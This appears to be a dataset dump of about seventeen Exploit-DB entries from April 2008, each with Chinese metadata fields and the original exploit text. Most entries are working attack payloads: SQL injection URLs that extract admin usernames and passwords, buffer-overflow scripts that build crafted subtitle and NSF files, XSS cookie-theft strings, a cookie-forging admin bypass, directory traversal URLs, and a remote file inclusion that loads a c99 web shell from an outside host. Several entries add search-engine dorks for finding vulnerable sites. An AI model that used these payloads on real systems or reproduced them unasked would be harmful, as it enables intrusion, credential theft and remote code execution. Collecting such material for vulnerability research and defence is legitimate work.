QLWD/code_shield huggingface dataset:
标题: XplodPHP AutoTutorials 2.1 - 'id' SQL Injection EDB-ID: 5457 CVE: 2008-1889 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-16 漏洞利用脚本: [  A L G E R I A     S E C U R I T Y    C R E W  ]
###################################################
[~] XplodPHP Remote SQL Injection Vulnerability
                                                                                                               
[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Exploit :
http://www.xxx.org/viewcat.php?id=10/**/union/**/select/**/null,user(),concat(username,0x3e,password),null,null,database(),null,null,null/**/from/**/admin/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-16] URL: https://www.exploit-db.com/exploits/5457
标题: BS.Player 2.27 Build 959 - '.srt' File Buffer Overflow (PoC) EDB-ID: 5455 CVE: 2008-6583 类型: DOS 平台: WINDOWS 发布日期: 2008-04-16 漏洞利用脚本: #!/usr/bin/python
#
# BS.player 2.27 Build 959 SRT Buffer Overflow 
# Just rename movie.srt file with the name of the movie you like...
#
# Vulnerability discovered by Muris Kurgas a.k.a j0rgan
# jorganwd [at] gmail [dot] com

# http://www.jorgan.users.cg.yu
#
# bolexxx, learn something, ladies will come soon or l8r man!
# red pill rocks!
# no muts, no pain :)

import os

bafer = 'A' * 80000

fileHandle = open ( 'movie.srt', 'w' )
fileHandle.write ( '1\n00:00:01,001 --> 00:00:05,099\n'+bafer ) 
fileHandle.close() 

# milw0rm.com [2008-04-16] URL: https://www.exploit-db.com/exploits/5455
标题: LaserNet CMS 1.5 - SQL Injection EDB-ID: 5454 CVE: 2008-1913 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: ###################################################
[~] Lasernet CMS v1.5 Remote Sql Ä°nj. Vuln.
                                                                                                               
[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Exploit :
http://www.xxx.org//index.php?id=new&new=-1'%20UNION%20ALL%20SELECT%201,2,concat(database(),char(58),user(),char(58),version()),concat(username,0x3e,password),5,6,7,8,9+from+admins/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-15] URL: https://www.exploit-db.com/exploits/5454
标题: Dream4 Koobi Pro 6.25 Poll - 'poll_id' SQL Injection EDB-ID: 5448 CVE: 2008-2036 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-14 漏洞利用脚本: ##########################################
#
# Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=poll"showresult
#
# DORK 2 : allinurl: poll_id "showresult"
#
###########################################
EXPLOiT :

index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user

*********************************************
WEBSiTE: http://www.xcorpitx-hack.com/Forum
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-14] URL: https://www.exploit-db.com/exploits/5448
标题: Dream4 Koobi CMS 4.2.4/4.2.5/4.3.0 - Multiple SQL Injections EDB-ID: 5447 CVE: 2008-4778 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-14 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+             Koobi CMS 4.3.0, 4.2.5, 4.2.4 Multiple Remote SQL Injection            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Koobi CMS 4.3.0, 4.2.5, 4.2.4
[~] HomePage: http://www.dream4.de/
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Dorks:

[~] Koobi CMS 4.3.0: "powered by koobi-cms 4.3.0"
[~] Koobi CMS 4.2.5: "powered by koobi-cms 4.2.5"
[~] Koobi CMS 4.2.4: "powered by koobi-cms 4.2.4"

[+] Exploits for 4.3.0:

[~] Module: gallery
[~] /index.php?area=1&p=gallery&action=showimages&galid=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[~] Module: downloads
[~] /index.php?showfile=1&fid=31&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploits for 4.2.5:

[~] Module: links
[~] /index.php?showlink=1&fid=1&p=links&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[~] Module: downloads
[~] /index.php?showfile=1&fid=1&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploits for 4.2.4:

[~] Module: downloads
[~] /index.php?showfile=1&fid=31&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-04-14] URL: https://www.exploit-db.com/exploits/5447
标题: DivX Player 6.7.0 - '.srt' File Buffer Overflow (PoC) EDB-ID: 5453 CVE: 2008-1912 类型: DOS 平台: WINDOWS 发布日期: 2008-04-15 漏洞利用脚本: # DIVX Player <= 6.7.0 Buffer Overflow PoC (  .SRT )
# Bug: When parsing a subtitle file with an overly long subtitle DIVX player will deadly crash  with eip overwritted:
# Replace MOVIE_FILENAME by your movie filename ( .avi )
#
#!/usr/local/bin/perl                                        
my $file="MOVIE_FILENAME.srt";                           
                                                             
my $payload = "A" x 4096;                                    
                                                             
open( $file, ">>$file") or die "Cannot open $file: $!";      
   
print $file "1 \n";
print $file "00:00:01,001 --> 00:00:02,001\n";
print $file $payload;                              
                                                             
close($file);                                                
                                                             
print "$file has been created \n";    

# milw0rm.com [2008-04-15] URL: https://www.exploit-db.com/exploits/5453
标题: Xine-Lib 1.1.12 - NSF demuxer Stack Overflow (PoC) EDB-ID: 5458 CVE: 2008-1878 类型: DOS 平台: LINUX 发布日期: 2008-04-16 漏洞利用脚本: xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES 
Sound Format demuxer(demux_nsf.c).


- Code

open_nsf_file():

109: this->title = strdup(&header[0x0E]);

demux_nsf_send_chunk():

122: char title[100];
162: sprintf(title, "%s, song %d/%d",
            this->title, this->current_song, this->total_songs);


- Affected applications

http://xinehq.de/index.php/releases


- PoC

perl -e 'print 
"\x4E\x45\x53\x4D\x1A\x01\x01\x01\x80\x80\x18\x8A\x03\x8A" . "\x41" x 
114' > evil.mp3

# milw0rm.com [2008-04-16] URL: https://www.exploit-db.com/exploits/5458
标题: BosNews 4.0 - 'article' SQL Injection EDB-ID: 5446 CVE: 2008-4703 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-14 漏洞利用脚本: ##############################################################################
##                                  By Crackers_Child
##                                 cashr00t@hotmail.com
##
##  BosNews v4.0 Remote Sql injection Exploit
##
##  Script website:http://www.bosdev.com
##
##  Exploit : " site.com/path/news.php?news=more&article=248+union%20select%200,1,username,password,4%20from%20bosdevUUS/*
##############################################################################

# milw0rm.com [2008-04-14] URL: https://www.exploit-db.com/exploits/5446
标题: BosClassifieds 3.0 - 'index.php' SQL Injection EDB-ID: 5444 CVE: 2008-1838 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-14 漏洞利用脚本: ##############################################################################
##                                  !R4Q!4N H4CK3R
##
##  BosClassifieds 3.0 Remote Sql injection Exploit
##
##  By:SoSo H H(Iraqi-Cracker)
##
##  Script website:http://www.bosdev.com
##
##  Dork:"Powered by BosClassifieds Classified Ads System"
##
##############################################################################
## Affected Versoions:
## 
## BosClassifieds 3.0 ( Other Versions Maybe Affected, Not Sure  :)  )
##
##############################################################################
##
## Expl0it:
##
## site.c0m/bosclassifieds/index.php?cat=[SQL]
##
## Example:
##
## SQL:-666 union select 1,2,concat(username,password)from bosdevUUS/*
##
##############################################################################
## Greetz:My Sweet :X,El Mariachi,L!0N,-=Mizo=-,Shadow Administrator
##       Mini-Spider,and all My Friends.
##
##############################################################################

# milw0rm.com [2008-04-14] URL: https://www.exploit-db.com/exploits/5444
标题: Classifieds Caffe - 'cat_id' SQL Injection EDB-ID: 5450 CVE: 2008-1936 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+               Classifieds Caffe (index.php cat_id) Remote SQL Injection            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Classifieds Caffe
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Exploit:

[~] /index.php?action=add&cat_id=[SQL]
[~] 7'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-04-15] URL: https://www.exploit-db.com/exploits/5450
标题: Pollbooth 2.0 - 'pollID' SQL Injection EDB-ID: 5436 CVE: 2008-4765 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-13 漏洞利用脚本: ############################################
#
# Pollbooth v2.0 SQL Injection Vulnerability
#
############################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
#############################################
#
# DORK 1 : allinurl: "pollBooth.php?op=results"pollID
#
#############################################
EXPLOiT :

pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users

*********************************************
WEBSiTE>>>http://www.xcorpitx-hack.com/Forum/
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-13] URL: https://www.exploit-db.com/exploits/5436
标题: CPCommerce 1.1.0 - Cross-Site Scripting / Local File Inclusion EDB-ID: 5437 CVE: 2008-1908 2008-1907 2008-1906 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-13 漏洞利用脚本: ########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: cpCommerce Multiple Vulnerabilities
# Vendor: http://cpcommerce.cpradio.org
# Bugs: XSS, SQL Injection , Local File Inclusion
# Vulnerable Version: 1.1.0 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/34
######################################################################


####################
- Description:
####################

cpCommerce is an open-source e-commerce solution that is maintained by templates and modules.


####################
- Vulnerability:
####################

+-->XSS
POC: http://localhost/v1.1.0/cpcommerce/calendar.php?obj=view.year&month=2&date=21&year=2008<script>alert(document.cookie)</script>


+-->SQL Injection
Input passed to the "id_product","id_manufacturer" and "id_category" parameters in
functions/display_page.func.php is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Code Snippet:
functions/display_page.func.php Line#94-96

if (isset($_GET['id_product']) && trim($_GET['id_product']) != "") {
$product = $db_chooser->sql_query("select `id_category`, `id_manufacturer`, `name`, `description` from " . "" . $db_chooser->Products() . " where id_product='{$_GET['id_product']}' limit 1");


+--> Local File Inclusion
Input passed to the "language" and "action" parameters is not properly verified
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
actions/language.act.php Line#14-16

  // Verify the Language file exists
  if (isset($_GET['language']) && file_exists("{$folder}{$_GET['language']}"))
    $_SESSION['cpLanguage'] = "{$folder}{$_GET['language']}";

Code Snippet:
_functions.php Line#109-113

  ## Include Language File
  if (isset($_SESSION['cpLanguage']))
    require_once("{$config['document_root']}{$config['maindir']}{$_SESSION['cpLanguage']}");
  else
    require_once("{$config['document_root']}{$config['maindir']}{$config['language']}");

POC: http://localhost/v1.1.0/cpcommerce/?action=language&language=../To%20DO%20LIST.txt

---------------------------------------

Code Snippet:
_functions.php Line#148-152
  ## Run Requested Action
  if (isset($_GET['action'])) $_POST['action'] = $_GET['action'];
  if (isset($_POST['submit']) || isset($_POST['action']))
    if (isset($_POST['action'])) {
      require_once("{$config['document_root']}{$config['maindir']}{$config['actions']}{$_POST['action']}.act.php");

POC: http://localhost/v1.1.0/cpcommerce/category.php?action=../To%20DO%20LIST.txt%00

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-04-13] URL: https://www.exploit-db.com/exploits/5437
标题: Microsoft Windows - GDI Image Parsing Stack Overflow (MS08-021) EDB-ID: 5442 CVE: 2008-1087 2008-1083 类型: LOCAL 平台: WINDOWS 发布日期: 2008-04-14 漏洞利用脚本: /////////////////////////////////////////////////////////////
///Exploit the MS08-021 : Stack Overflow on GDI API
///Author: Lamhtz
///Date: April 14th, 2008
///Usage: <appname.exe> [filename]
///Function: Generate a crafted emf file which could 
///          automatically run calc.exe in Win2kSP4 CHS Version
///    with MS07-046 patched but no MS08-021 is installed.
///    In Windows XP SP2, explorer.exe will crashed but
///          calc will not be run.
/////////////////////////////////////////////////////////////

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5442.zip (2008-exploit_08021.zip)

// milw0rm.com [2008-04-14] URL: https://www.exploit-db.com/exploits/5442
标题: CcMail 1.0.1 - Insecure Cookie Handling EDB-ID: 5433 CVE: 2008-1904 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-12 漏洞利用脚本: --==+================================================================================+==--
--==+           CcMail <= 1.0.1 Insecure Cookie Handling              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 11 April 2008
Script Download: http://www.cicoandcico.com/download/download.php?SortBy=1&fdir=./ccmail/
DORK: "Emanuele Guadagnoli" "CcMail"

Vendor Has Not Been Notified!


DESCRIPTION: 
CcMail (all versions) suffers from insecure cookie handling, this allows the remote attacker to set a cookie
and be granted access to the admin area. this is because CcMail only checks if the cookie exists, it doesnt
compare the data.

by entering the below javascript into your (firefox/thunderbird etc) cookies will be created allowing you
to login to "admin.php"


Exploit:

javascript:document.cookie = "name=admin; path=/;"; document.cookie = "this_cookie=admin; path=/;"; 



NOTE/TIP: 
after running the above code you will be able to visit the admin area at "admin.php"


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+           CcMail <= 1.0.1 Insecure Cookie Handling              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-12] URL: https://www.exploit-db.com/exploits/5433
标题: Joomla! Component com_extplorer 2.0.0 RC2 - Local Directory Traversal EDB-ID: 5435 CVE: 2008-4764 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-13 漏洞利用脚本: --------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------

= Author : HouSSaMix                          
= Script : Joomla and Mambo Component com_extplorer
= version : <= 2.0.0 RC2
= Download : http://joomlacode.org/gf/download/frsrelease/6717/21992/com_extplorer_2.0.0_RC2.zip

= Dork1 : inurl:index.php?option=com_extplorer
= Dork2 : powered by extplorer
                        
          
= BUG  :  Local Directory Traversal 

exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory]

example :
  site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
  site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

= greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers

=================================================================================================================

# milw0rm.com [2008-04-13] URL: https://www.exploit-db.com/exploits/5435
标题: PHPAddressBook 2.11 - 'view.php' SQL Injection EDB-ID: 5432 CVE: 2008-1847 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: [~] phpAddressBook Remote Sql Ä°nj. Vuln.

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Version : All My Version

[~] Founder: Cr@zy_King

[~] HomePage: http://coderx.org

[~] Greatz : str0ke & All My Friends

[~] Contact: crazy_kinq@hotmail.co.uk

[~] PoC:

http://www.xxx.org/view.php?id=-1+union+select+1,2,3,convert(concat(database(),char(58),user(),char(58),version()),char),5,6,7,8,9,10,11,12/*

---------------------
http://coderx.org
---------------------

# milw0rm.com [2008-04-11] URL: https://www.exploit-db.com/exploits/5432
标题: NewsOffice 1.1 - Remote File Inclusion EDB-ID: 5429 CVE: 2008-1903 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: -==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : NewsOffice 1.1 Remote File Include Vulnerabilitiy

# Download From : http://www.newanz.com/applications/NewsOffice/?page=download

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Vulne Code In File news_show.php In Different Lines :

include($newsoffice_directory."config.php");
include($newsoffice_directory."news_data.php");
include($newsoffice_directory."template.php");

# Exploit :

http://WwW.4RxH.CoM/NewsOffice/news_show.php?newsoffice_directory=http://rxh.freehostia.com/shells/c99in.txt?

Also The Version 1.0 Is Infected In Same File

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HoTMaiL.iT

# Fuck Own Life  :( 

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-04-11] URL: https://www.exploit-db.com/exploits/5429
标题: Joomla! Component JoomlaXplorer 1.6.2 - Remote s EDB-ID: 5431 CVE: 2008-1849 2008-1848 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: -------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : HouSSaMix                          
= Script : Joomla and Mambo Component joomlaxplorer  
= version : 1.6.0
= Download : http://joomlacode.org/gf/project/joomlaxplorer

= Dork1 : inurl:index.php?option=com_joomlaxplorer
= Dork2 : powered by joomlaXplorer
                        
          
= BUG 1 :  Local Directory Traversal 

exploit => target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=../../[directory]

example :
  site.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
  site.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

= BUG 2 : XSS

exploit => target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=[XSS]
 
example : www.target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
       

= greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers

side note:
    <name>joomlaXplorer</name>
    <creationDate>18.09.2007</creationDate>
    <author>soeren, QuiX Project</author>
    <copyright>Soeren Eberhardt-Biermann, QuiX Project</copyright>
    <authorEmail>soeren@virtuemart.net</authorEmail>

    <authorUrl>http://joomlacode.org/gf/project/joomlaxplorer/</authorUrl>
    <version>1.6.2</version>

# milw0rm.com [2008-04-11] URL: https://www.exploit-db.com/exploits/5431